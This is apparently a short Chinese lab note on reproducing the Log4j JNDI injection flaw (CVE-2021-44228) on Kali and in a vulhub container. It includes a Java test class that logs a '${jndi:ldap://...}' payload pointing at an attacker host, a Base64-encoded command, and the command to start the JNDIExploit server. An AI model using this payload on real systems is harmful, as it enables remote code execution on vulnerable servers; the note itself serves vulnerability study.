前言:Log4j的利用条件实在是苛刻,看了很多视频和文章,记录下我能复现的两种场景
Windows系统不知啥原因,搞了许久毫无反应,只能控制台打印。360都检测出了Log4j,但是即使退出360,也没有任何命令执行,离大谱
1、kali
- Java环境:1.8.0_281,这个jdk版本已经很高了,真实环境是不能复现的,核心在于
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
- 下载两个jar包,log4j-core-2.14.1.jar,log4j-api-2.14.1.jar
// Log4jTest.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class Log4jTest {private static final Logger logger = LogManager.getLogger();public static void main(String[] args) {System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");String jndi_exploit = "${jndi:ldap://192.168.137.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9zdWNjZXNzCg==}";logger.error(jndi_exploit);}
}
编译运行
javac -cp log4j-core-2.14.1.jar:log4j-api-2.14.1.jar:$CLASSPATH Log4jTest.java
java -cp log4j-core-2.14.1.jar:log4j-api-2.14.1.jar:$CLASSPATH Log4jTest
攻击端主机ip(192.168.137.1),使用JNDIexploit工具进行攻击,
java8 -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.137.1
2、vulhub
vulhub,创建CVE-2021-44228的容器
这个环境非常和谐,没有任何问题,直接一次性成功